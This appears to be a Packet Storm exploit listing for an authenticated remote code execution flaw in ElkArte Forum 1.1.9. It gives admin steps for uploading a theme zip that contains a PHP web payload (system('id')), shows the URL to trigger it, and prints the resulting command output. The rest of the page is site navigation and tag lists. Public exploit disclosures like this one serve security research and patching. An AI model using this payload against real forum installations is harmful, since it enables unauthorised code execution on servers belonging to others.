ElkArte Forum 1.1.9 Remote Code Execution ≈ Packet Storm

Home^[1] Files^[2] News^[3] &[SERVICES_TAB] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        # Exploit Title : ElkArte Forum 1.1.9 - Remote Code Execution (RCE) (Authenticated) 
# Date: 2024-5-24
# Exploit Author: tmrswrr
# Category: Webapps
# Vendor Homepage: https://www.elkarte.net/
# Software Link : https://github.com/elkarte/Elkarte/releases/download/v1.1.9/ElkArte_v1-1-9_install.zip
# Version : 1.1.9
1) After login go to Manage and Install theme > https://127.0.0.1/ElkArte/index.php?action=admin;area=theme;sa=admin;c2e3e39a0d=276c2e3e39a0d65W2qg1voAFfX1yNc5m
2) Upload test.zip file and click install > test.zip > test.php > <?php echo system('id'); ?>
3) Go to Theme Setting > Theme Directory > https://127.0.0.1/ElkArte/themes/test/test.php
Result : uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte) uid=1000(ElkArte) gid=1000(ElkArte) groups=1000(ElkArte)

• Follow us on Twitter^[15]
• Follow us on Facebook^[16]
• Subscribe to an RSS Feed^[17]

File Tags

• ActiveX^[18] (933)
• Advisory^[19] (85,389)
• Arbitrary^[20] (16,711)
• BBS^[21] (2,859)
• Bypass^[22] (1,835)
• CGI^[23] (1,032)
• Code Execution^[24] (7,687)
• Conference^[25] (690)
• Cracker^[26] (844)
• CSRF^[27] (3,375)
• DoS^[28] (24,764)
• Encryption^[29] (2,383)
• Exploit^[30] (52,911)
• File Inclusion^[31] (4,255)
• File Upload^[32] (987)
• Firewall^[33] (822)
• Info Disclosure^[34] (2,868)
• Intrusion Detection^[35] (910)
• Java^[36] (3,128)
• JavaScript^[37] (891)
• Kernel^[38] (7,067)
• Local^[39] (14,727)
• Magazine^[40] (586)
• Overflow^[41] (13,107)
• Perl^[42] (1,434)
• PHP^[43] (5,209)
• Proof of Concept^[44] (2,374)
• Protocol^[45] (3,707)
• Python^[46] (1,617)
• Remote^[47] (31,481)
• Root^[48] (3,620)
• Rootkit^[49] (524)
• Ruby^[50] (621)
• Scanner^[51] (1,650)
• Security Tool^[52] (7,995)
• Shell^[53] (3,261)
• Shellcode^[54] (1,217)
• Sniffer^[55] (901)
• Spoof^[56] (2,266)
• SQL Injection^[57] (16,548)
• TCP^[58] (2,428)
• Trojan^[59] (689)
• UDP^[60] (900)
• Virus^[61] (669)
• Vulnerability^[62] (32,766)
• Web^[63] (9,911)
• Whitepaper^[64] (3,777)
• x86^[65] (967)
• XSS^[66] (18,201)
• Other^[67]

File Archives

• May 2024^[68]
• April 2024^[69]
• March 2024^[70]
• February 2024^[71]
• January 2024^[72]
• December 2023^[73]
• November 2023^[74]
• October 2023^[75]
• September 2023^[76]
• August 2023^[77]
• July 2023^[78]
• June 2023^[79]
• Older^[80]

Systems

• AIX^[81] (429)
• Apple^[82] (2,088)
• BSD^[83] (376)
• CentOS^[84] (58)
• Cisco^[85] (1,927)
• Debian^[86] (7,047)
• Fedora^[87] (1,693)
• FreeBSD^[88] (1,246)
• Gentoo^[89] (4,499)
• HPUX^[90] (880)
• iOS^[91] (375)
• iPhone^[92] (108)
• IRIX^[93] (220)
• Juniper^[94] (69)
• Linux^[95] (49,781)
• Mac OS X^[96] (691)
• Mandriva^[97] (3,105)
• NetBSD^[98] (256)
• OpenBSD^[99] (488)
• RedHat^[100] (15,912)
• Slackware^[101] (941)
• Solaris^[102] (1,611)
• SUSE^[103] (1,444)
• Ubuntu^[104] (9,514)
• UNIX^[105] (9,404)
• UnixWare^[106] (187)
• Windows^[107] (6,660)
• Other^[108]

© 2022 Packet Storm. All rights reserved.